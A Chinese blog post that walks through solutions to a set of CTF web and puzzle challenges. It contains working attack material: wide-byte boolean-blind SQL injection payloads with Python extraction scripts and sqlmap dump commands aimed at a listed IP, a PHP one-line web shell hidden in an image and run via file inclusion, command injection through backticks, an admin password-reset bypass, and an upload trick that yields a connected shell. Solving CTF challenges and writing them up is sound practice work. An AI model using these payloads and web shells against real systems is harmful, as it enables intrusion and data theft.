un

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/chasingin/article/details/102721866

光坂镇的小诗1

六张图对应六个id
在这里插入图片描述
首先先判断一下注入点,输入
id=1' and 1=1 %23
在这里插入图片描述
可以看到单引号被转义了,想到了宽字节注入:

\ 转义符号url编码是%5c,如果是gbk编码的方式,会把两个字符当成一个汉字来处理,我们输入%df ',加上转义符变成%df ',而%df和%5c恰好可以合成一个汉字:縗 ,成功吃掉了转义符

在这里插入图片描述
可以看到没有显示图片,说明and 1=2被成功的注入了

因为发现没有字符的回显,所以判断应该不用union注入,而根据图片有无显示可以判断出是布尔盲注,当然时间盲注也可以,不过时间比较久

这里说一下我之前做的时候是过滤了逗号,后来改了,可以使用

case when() then() else() end

的方法避免逗号,所以先尝试构造

id=1 %df' and (case when(ord(mid((select group_concat(table_name)from information_schema.tables where table_schema=database())from 1 for 1))=102)then 1 else 0 end)%23

mid()函数可以选取字符串中的字符,配合from 1 for 1可以绕过单引号,ord()是把字符串转成ascii码,上面的payload的意思是
选取所有表名的第一个字符,把它转成ascii码和102匹配,102转成字符是f,如果第一个字符为f,则返回1(图片显示),不是则返回0(无图片)
在这里插入图片描述
显示了图片,如果随便把改102改成97
在这里插入图片描述
没有图片回显,那么就证明了这个方法可行,而且表名的第一个字是102,也就是f,接下里就可以写python一个个跑出表名,字段名和flag了

import requests

for i in range(1,10):
    for j in range(32,128):
        url = "http://47.94.221.39:8004//index.php?id=3%20%df%27and%20(case%20when(ord(mid((select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()%20)from%20{0}%20for%201))={1})%20then%20 1%20else%200%20end)%23"
        res=requests.get(url.format(i,j))
        if 'img' in res.text:
            print(chr(j))

在这里插入图片描述
有两个表名,我们选择flag这个表,接下来爆列名,因为要用到table_name=‘flag’,而单引号有转义,所以我们可以用十六进制代替:0x666c6167

import requests

for i in range(1,10):
    for j in range(32,128):
        url = "http://47.94.221.39:8004//index.php?id=3 %df' and (case when(ord(mid((select group_concat(column_name)from information_schema.tables where table_schema=database() and table_name=0x666c6167)from {0} for 1))={1}) then 1 else 0 end)%23"
        res=requests.get(url.format(i,j))
        if 'img' in res.text:
            print(chr(j))

同样爆出列名也为flag,最后爆flag

import requests

for i in range(1,30):
    for j in range(32,128):
        url = "http://47.94.221.39:8004//index.php?id=3 %df' and (case when(ord(mid((select group_concat(flag)from flag)from {0} for 1))={1}) then 1 else 0 end)%23"
        res=requests.get(url.format(i,j))
        if 'img' in res.text:
            print(chr(j))

在这里插入图片描述
得到flag

光坂镇的小诗2

和光坂镇1一样,不过这里没有转义单引号,所以我们可以直接使用sqlmap获得flag
sqlmap -u "http://47.94.221.39:8005/?id=1" --dbs
在这里插入图片描述
选择数据库为ctf,获取表名
sqlmap -u "http://47.94.221.39:8005/?id=1" -D ctf --tables
在这里插入图片描述
选择表名,获取列名
sqlmap -u "http://47.94.221.39:8005/?id=1" -D ctf -T flag --columns
在这里插入图片描述
最后选择列名flag获取flag:
sqlmap -u "http://47.94.221.39:8005/?id=1" -D ctf -T flag -C flag --dump
在这里插入图片描述

WEB1

在这里插入图片描述
一进去就弹窗backup file,隐藏的文件,御剑扫描后台扫到www.zip文件,访问得到源码
在这里插入图片描述
GET传参令un=0a即可绕过第一个限制,获得了前半部分flag
在这里插入图片描述
POST传参ctf不能为数字且ctf要大于87654321,可以把ctf弄成数组即可绕过限制
在这里插入图片描述

WEB2

在这里插入图片描述
首先是一个文件上传页面,尝试上传php,无法上传,
在这里插入图片描述
怎么绕也绕不过,只能先上传图片马试试:
GIF

<?php system($_POST['x']);?>

上传成功后得到了文件路径/uploads/3.jpg
御剑扫目录
在这里插入图片描述
访问file.php,
在这里插入图片描述
根据信息应该是文件包含了,尝试:
file=./uploads/3.jpg
在这里插入图片描述
成功显示了GIF98,说明该jpg文件包含成功了,php里的一句话木马也成功执行,接下来就可以执行命令了
在这里插入图片描述
访问uunnccttff里的flag
在这里插入图片描述

simple_calc_1

F12->network,再刷新一下,发现了一个backend目录:
在这里插入图片描述
访问,发现是一个统计次数的东西
在这里插入图片描述
后来给出了hint:XFF伪造,尝试加个xff头:
X-Forwarded-For: 127.0.0.10
因为我之前没注意到这个目录时用127.0.0.1试了很多次,所以这里改了一下ip
在这里插入图片描述
可以看到count变成了1,在根据第二个提示sqlmap,联想到sql注入,构造
XFF: 127.0.0.10' and 1=1#
在这里插入图片描述
次数正常增加,构造:
XFF: 127.0.0.10' and 1=2#
在这里插入图片描述
次数变成了1,那么就可以认定此处就是注入点了,就不手工注入了,还是用神器sqlmap吧
sqlmap -r 456.txt -D ctf -T flag -C flag --dump
在这里插入图片描述

simple_calc_2

hint:计算的时候抓包看看?
那就抓包看看
在这里插入图片描述
看到cmd就想起了命令执行,先看看能不能ls吧,什么都没执行

但是在ls;后随便加一个字母,前面的内容便会被输出
在这里插入图片描述
那么可以使用反引号执行命令
在这里插入图片描述
可以看到成功列出了目录,然后一路返回目录,发现了flag.txt
在这里插入图片描述
但是cat命令却不能读出flag.txt
在这里插入图片描述
百度了一下linux的其他输出方式

cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出

tac flag.txt
在这里插入图片描述

NSB Reset Password

在这里插入图片描述
首先是一个登录页面,看到找回密码想到逻辑漏洞,应该是要找回admin的密码,找回密码分为三个步骤,填用户名,填验证码,改密码,本来想着抓包修改一下找回密码的信息,但是只能抓到这个
在这里插入图片描述
一发包直接把验证码发出去了,但是我们可以这样,首先注册一个账号phoebe,用这个账号找回密码
在这里插入图片描述
在填写收到的验证码
在这里插入图片描述
到了第三步改密码,改url到第一个找回密码页面,也就是填账号的地方,填admin,让系统误以为改密码的账号是admin,然后再跳到改密码页面,尝试改密码,登录admin
在这里插入图片描述
成功了

NSB_Login

还是一个登录页面,不过好像不能注入
在这里插入图片描述
右键查看源代码
在这里插入图片描述
看到了I like rockyou,想到kali中有个自带的字典就叫rockyou,尝试暴力破解
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

check_in_A

史上最简单签到题
在这里插入图片描述

上传给小姐姐的照片

首先是一个文件上传的页面
在这里插入图片描述
burp抓包看看
在这里插入图片描述
可以看到它把文件分为两部分拼接而成,url中的文件名和post传参的文件名,那么我们是不是可以尝试让url的文件为phoebe.jpg,post中的文件为.php,
这样就拼接成了phoebe.jpg.php
在这里插入图片描述
上传之后到upload页面下看看
在这里插入图片描述
可以看到文件后缀为php,用蚁剑尝试连接
在这里插入图片描述
连接成功,找到flag
在这里插入图片描述
原来还有个备份文件.index.php.swp,是php的源码
在这里插入图片描述
不过只要能绕过验证怎么样都行

快乐游戏题

快乐就完事了,真的是一个游戏 ,把猫困住就得到了flag
在这里插入图片描述

我的头怎么了

点击下载附件得到了
在这里插入图片描述
右键另存为到桌面发现是一张gif,根据题目想到应该添加gif的头,用winhex执行这一操作
在这里插入图片描述
保存之后打开,我用的是截图的方法,看手速吧
在这里插入图片描述

长安十二时辰

下载附件打开,一个图片,一个提示
在这里插入图片描述
为此特地好好的查了一下长安十二时辰的望楼密码
在这里插入图片描述
看一下给的密码
在这里插入图片描述
一个数由三组方块组成,分别代表个十百,那么就可以一一对应
117,102,115,115,95,121,110,123,99,95,101,125,99,109,95,115,97,116,49,49,48,53
根据提示现代加密,查询ascii码表,得到了ufss_yn{c_e}cm_sat1105,再根据越过栅栏这个提示,使用栅栏密码
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/chasingin/article/details/102721866
un